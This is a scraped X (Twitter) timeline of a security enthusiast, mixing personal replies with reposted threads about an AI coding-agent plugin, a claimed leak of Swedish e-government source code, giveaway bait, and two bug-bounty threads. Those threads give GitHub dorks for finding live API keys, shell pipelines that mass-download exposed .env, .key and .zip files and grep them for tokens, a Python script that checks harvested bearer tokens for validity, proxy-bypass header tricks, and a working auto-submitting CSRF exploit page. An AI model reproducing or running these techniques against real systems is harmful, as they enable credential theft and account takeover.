0xGh0stB1t

Cyber Security Enthusiast | Information Hungry | ADHD is my (Super) Power

[Hasan Toor @hasantoxr]

🚨BREAKING: A developer on GitHub just built a complete operating system for AI coding agents and it has 40.9K stars on GitHub.

It's called Superpowers, and it fixes everything broken about how Claude Code and Codex actually write software.

Right now, most people fire up their coding agent and just… let it go. The agent guesses what you want, writes code before understanding the problem, skips tests, and produces spaghetti you have to babysit.

Superpowers fixes all of that.

Here's what happens when you install it:

→ Before writing a single line, the agent stops and brainstorms with you. It asks what you're actually trying to build, refines the spec through questions, and shows it to you in chunks short enough to read.

→ Once you approve the design, it creates an implementation plan detailed enough that "an enthusiastic junior engineer with poor taste and no judgement" could follow it.

→ Then it launches subagent-driven development. Fresh subagents per task. Two-stage code review after each one (spec compliance, then code quality). The agent can run autonomously for hours without deviating from your plan.

→ It enforces true test-driven development. Write failing test → watch it fail → write minimal code → watch it pass → commit. It literally deletes code written before tests.

→ When tasks are done, it verifies everything, presents options (merge, PR, keep, discard), and cleans up.

The philosophy is brutal: systematic over ad-hoc. Evidence over claims. Complexity reduction. Verify before declaring success.

Works with Claude Code (plugin install), Codex, and OpenCode.

This isn't a prompt template. It's an entire operating system for how AI agents should build software.

100% Opensource. MIT License.

[0xGh0stB1t @drsushi]

@jaydune_pro @IntCyberDigest Yes, officially anyway..

[0xGh0stB1t @drsushi]

@t_r_e_n_c_h_e_s @IntCyberDigest 🤣

[International Cyber Digest @IntCyberDigest]

🚨‼️ BREAKING: The source code of Swedish e-government services from CGI's "E-plattform" has been leaked.

A threat actor sent us samples.

Our initial analysis shows the breached repositories originate from an internal CGI GitLab instance. The leak exposes architecture, microservices, and configurations for Sweden's digital public infrastructure.

Leaked files:
▪️ Database passwords
▪️ Email/SMTP passwords
▪️ Keystore/truststore passwords & key passwords
▪️ SHS credentials / keystore details
▪️ Signe portal credentials/config
▪️ Embedded Git credentials
▪️ CGI staff data

Key components exposed:
▪️ Mina Engagemang: Frontend and backend code (me-portals) for citizen-facing apps and case management.
▪️ Signe & e-ID: E-signature portal configs, SAML/OpenSAML metadata (keyservice), and signing workflow templates.
▪️ Företrädarregister: Authorization registry services (foreg) governing who can legally represent organizations.
▪️ SHS Integration: Routing and config files (eintegration3) for secure inter-agency data exchange.

The leaked repos contain .git/config files with embedded credentials, severely elevating the risk of lateral movement or further supply chain compromise.

A major exposure of the trust anchors and identity routing powering Sweden's digital state.

[0xGh0stB1t @drsushi]

@ai_uncovered File

[Theo @ai_uncovered]

🚨EXPOSED: 109s of Premium AI Agents.

If you missed it before, I'll give it again.

Worth $3K+ per build — now FREE for the first 2000.

Inside the file:
→ Booking & outreach automations
→ Scrapers, support agents & more
→ Cold email engines
→ Social listening dashboards
→ Lead gen bots
→ Content pipelines
→ Auto-scheduling assistants
→ AI copywriters
→ Form-to-CRM connectors
→ Data enrichment bots
→ Chatbot funnels
→ Review aggregators
→ Auto-reporting scripts
→ AI-powered survey analysers

Built-for-speed systems trusted by top agencies to land $7K+ clients.

Fill it up & GET:
- Comment "File"
- Like & Retweet
- Follow me @ai_uncovered to get DM Fast.
- No Comment = No DM, Move fast.

[0xGh0stB1t @drsushi]

@SecurityTrybe Has to be a honeypot but probably a phishing attack called waterhole attack. Right?

[0xGh0stB1t @drsushi]

@SecurityTrybe A. Spoofing - No doubt 🤭

[0xGh0stB1t @drsushi]

@elonmusk hahaha can I cheat on a drug test, so can u Mr. World Richest Man +- But I understand how it has to look , every move u do will be looked over a 1000 times and it really doesn't matter what u do, always criticised.... ✌🏻

[Pethuraj M @Pethuraj]

🌀 𝗦𝗺𝘂𝗴𝗴𝗹𝗲𝗙𝘂𝘇𝘇 - A modular HTTP request smuggling fuzzer built for deep desync exploration.
👉 https://t.co/YuS8gOcjNz

Perfect for testing reverse proxies, finding obscure smuggling vectors, and pushing fuzzing boundaries.

#CyberSecurity #RedTeam #BugBounty

[0xGh0stB1t @drsushi]

@TheMsterDoctor1 DORKS

[X @TheMsterDoctor1]

⚠️ I Built the Largest GitHub Dorks Arsenal Ever: 100,000+ Queries for Secrets Hunting.

No paywall. No bullshit.
Just pure recon fuel.

These dorks can uncover:
•AWS Keys
•Stripe Tokens
•GitHub Deploy Secrets
•GCP Service Accounts
•DB creds, JWTs, and more

Here’s how to use them & the download:

🧵
1.

Most people use 5–10 basic dorks.
I compiled 100,000+ high-signal GitHub + Google dorks optimized for:
•.env
•https://t.co/frmEARq1th
•config.js
•Authorization:
���client_secret, jwt_secret, and more

This is Codebase OSINT on steroids.
2.

These dorks are structured for:
•GitHub API queries
•Google Hacking (site:https://t.co/B2OUxYbOir)
•Regex hunters
•Secret scanning tools like gitleaks, trufflehog, etc.

Every line = a potential $5K–$20K bug bounty chain.
3.

Example gold dorks:

filename:https://t.co/frmEARq1th stripe live_
filename:.npmrc _auth
filename:docker-compose.yml jwt_secret
extension:json "PRIVATE_KEY"
site:https://t.co/B2OUxYbOir "Authorization: Bearer" ext:http

And that’s just scratching the surface…
4.

I use these to:
•Find leaked tokens in org forks
•Build GitHub Actions that scan 24/7
•Trigger webhooks when secrets are exposed
•Feed into gf secrets + auto-validation systems

5.

Download the full 100K dork arsenal (FREE):

This will supercharge your recon, bounty farming, and exploit chains.
6.

If you want the full GitHub Leak Automation system with:
•Scanning loop
•API token rotation
•Auto-alerts to Discord/Telegram
•Secret validation logic

Comment “DORKS” and I’ll DM it.

— @TheMsterDoctor1
Recon weaponizer.

[X @TheMsterDoctor1]

How I Recon 10 Top Targets for Tokens, Misconfigs & OAuth Goldmines

This workflow built my entire bug bounty strategy.

10 enterprise targets.
1 elite recon method.
Unlimited ways to print P1s.

Save this. You’ll use it weekly.

⸻

Phase 1: Own the Surface — Find What They Forgot

echo https://t.co/axAPlulNpQ | assetfinder --subs-only > subs.txt
subfinder -d https://t.co/axAPlulNpQ -silent >> subs.txt
amass enum -passive -d https://t.co/axAPlulNpQ >> subs.txt
sort -u subs.txt > all_subs.txt

Live Test Targets:
•https://t.co/ENVV1MuloX
•https://t.co/QY9bpgq4Bz
•https://t.co/v2FbwzPQds
•https://t.co/pb02aD3L7i
•https://t.co/ZROBy0HsiK
•https://t.co/wMYHYyEgwa
•https://t.co/h9KcVLzAu3
•https://t.co/fgrOSDl0DX
•https://t.co/l4cKfH87H9
•https://t.co/g9oZzxZlXu

⸻

Phase 2: Detect Who’s Really Online

cat all_subs.txt | httpx -silent -title -status-code -tech-detect > live.txt

Look for:
•Staging
•Dev portals
•Outdated admin logins
•Weird tech stacks (hint: legacy bugs)

⸻

Phase 3: URL Mining for Forgotten Endpoints

cat all_subs.txt | waybackurls > wayback.txt
cat all_subs.txt | gau > gau.txt
sort -u wayback.txt gau.txt > all_urls.txt

Now filter for pure gold:

grep -Ei '\.(zip|sql|bak|conf|env|json|key|pem)' all_urls.txt > leaks.txt

⸻

Phase 4: Auto Download + Extract Everything

mkdir -p downloads extracted

cat leaks.txt | grep '\.zip' | while read url; do
wget "$url" -P downloads/
done

unzip -o 'downloads/*.zip' -d extracted/

⸻

Phase 5: Token Hunter Script

grep -rEi 'secret|token|client_id|authorization|api_key' extracted/ > creds.txt

Then validate them:

import requests
for line in open("creds.txt"):
r = requests.get("https://t.co/vjcYi9ixl5", headers={
"Authorization": f"Bearer {line.strip()}"
})
if "user" in r.text.lower():
print("[+] VALID:", line.strip())

⸻

Phase 6: Proxy Bypass Logic Abuse

Try reverse proxy bypasses on everything:

curl -i -H "X-Original-URL: /admin" https://t.co/ZZJHKk47wM
curl -i -H "X-Forwarded-For: 127.0.0.1" https://t.co/ZZJHKk47wM
curl https://t.co/NlbogPesLY

CDNs and WAFs fail silently. You walk in.

⸻

Phase 7: GraphQL Auto-Exploit Mapping

python3 https://t.co/xhyd9ckyr3 -u https://t.co/bVwLzyWAL3 --dump-schema

Look for:
•me
•viewer
•updateUser(id=...)
•IDOR galore.
•Embedded tokens in introspection.

⸻

Phase 8: OAuth Misuse Simulation

GET /oauth/token?client_id=x&scope=write_profile&user_id=y

Look for:
•Scope injection
•Weak audience validation
•Authorization code reuse
•Missing PKCE enforcement

⸻

Phase 9: S3 Bucket + GCP Exposure (Bonus)

cat creds.txt | grep -Ei 'access|secret' | tee keys.txt

Check https://t.co/ut6au5CmOU
Scan with:

s3scanner --access-key ABC --secret-key XYZ

⸻

Phase 10: Bundle + Automate the Whole Operation

Final bash:

cat subs.txt | httpx -silent > live.txt
cat live.txt | waybackurls >> urls.txt
cat live.txt | gau >> urls.txt
sort -u urls.txt > all_urls.txt
grep -Ei '\.zip|\.conf|\.env|token|openid|auth' all_urls.txt > targets.txt

⸻

Real Finds From This Workflow:
•OAuth privilege bypass @ Uber
•API token via .zip leak @ Dropbox
•Reverse proxy WAF bypass @ Doordash
•S3 Bucket misconfig @ Zoom
•JS-embedded secrets → P1 escalation @ Atlassian

⸻

Follow @TheMsterDoctor1

[0xGh0stB1t @drsushi]

@TheMsterDoctor1 If you offered mentorship, the one u guide would be a lucky one ! Love your content ! For bounty hunters in the early stages this is top notch - state of the art - I'll *H I G H L Y* recommend all of @TheMsterDoctor1 posts! keep up the good work, I'll kneel for your knowledge!

[X @TheMsterDoctor1]

🧨 Step-by-Step CSRF Exploit Guide (Just Like Meta $28K)

✅ STEP 1: Pick a Target with a Bug Bounty Program

You need permission — use a platform like:

https://t.co/bjhjXTKagf

https://t.co/Cm5kiTAVB3

https://t.co/fZIcbxoRoR

Let’s say you picked https://t.co/Mzeq3oZ5aM

✅ STEP 2: Find State-Changing Endpoints

You want URLs that:
Accept POST, PUT, or DELETE

Perform actions (like creating ads, updating settings, etc.)

🛠 Use these tools:

echo https://t.co/Oout5oWrWn | waybackurls > wayback.txt
echo https://t.co/Oout5oWrWn | gau >> wayback.txt
cat wayback.txt | grep -Ei 'create|post|update|delete|submit' > csrf_targets.txt

This gives you possible vulnerable endpoints.
✅ STEP 3: Test for CSRF Protection

Pick one target URL (example):

https://t.co/D12b4BUtFG

🔥 Check:
Does it accept POST?
Does it not require a CSRF token?
Does it allow form-based requests?

🧪 Test with curl:
curl -X POST https://t.co/D12b4BUtFG \
-d "title=TestAd&budget=100" \
-H "Content-Type: application/x-www-form-urlencoded" \
-b cookies.txt -i
If it works without CSRF token and you're logged in — it's vulnerable!

✅ STEP 4: Build Exploit HTML (PoC)
<!DOCTYPE html>
<html>
<body>
<form id="csrfForm" action="https://t.co/D12b4BUtFG" method="POST">
<input type="hidden" name="title" value="🔥 YOU GOT HACKED 🔥" />
<input type="hidden" name="budget" value="999" />
<input type="hidden" name="target_url" value="https://t.co/TiNHbtV9w5" />
</form>
<script>
document.getElementById("csrfForm").submit();
</script>
</body>
</html>
✅ Save as csrf-poc.html

✅ Host it on a malicious domain like: https://t.co/oyPkQWtUv4

✅ STEP 5: Test the Exploit

Login to your test account at https://t.co/Oout5oWrWn

While still logged in, visit: https://t.co/oyPkQWtUv4

Check if:
An ad was created
The budget was changed
A setting was updated

If yes → 🎯 You have a working CSRF vulnerability

✅ STEP 6: Record the Proof-of-Concept
🎥 Use:
OBS Studio

ShareX

🎯 Record:
Login to victim account
Visit malicious CSRF page

Show the change on victim account (e.g., ad created)

✅ STEP 7: Write Your Report
Include:
A clear title: CSRF in ad creation allows account takeover
Steps to reproduce
Impact (financial loss, brand damage)
The HTML PoC code

Video PoC

Recommendation: require CSRF token, use SameSite cookies

📤 Submit to Bugcrowd/HackerOne with full detail

✅ STEP 8: Get Paid
If it’s high-impact (e.g., you can create ads or spend real money), you’ll earn:
💰 $10,000+
💰 $25,000+ with multipliers (like the Meta bounty)
🧠 Example Timeline
Step Task Tool 1 Gather URLs gau, waybackurls 2 Test live ones httpx, curl, Burp Suite 3 Build PoC HTML form 4 Record it OBS or ShareX 5 Report it Bugcrowd/HackerOne🔥

[0xGh0stB1t @drsushi]

@Jonakallgren är - mer - än en värdig nominerad till #RefugeeAwarenessAward 🏆 All lycka till Er som går emot strömmen och springer dit alla flyr från för att öppna alla våras ögon och se verkligheten som den verkligen är! 🙏🏻

[0xGh0stB1t @drsushi]

@JohanRipas Du gör ett fantastiskt jobb! ❤️ Detta kan verka litet, men jag vill bara säga Tack!

[0xGh0stB1t @drsushi]

Looking @ #Ripley and recognized the location from yesterday's #Netflix movie, #TheEqualizer3 ^^

[0xGh0stB1t @drsushi]

@Ronycoder Py

[Rony @Ronycoder]

PYTHON is difficult to learn, but not anymore!

Introducing "The Ultimate Python ebook "PDF.

You will get:

• 74+ pages cheatsheet
• Save 100+ hours on research

And for 48 hrs, it's 100% FREE!

To get it, just:

1. Like &amp; RT
2. Reply "Py"
3. Follow @Ronycoder [MUST]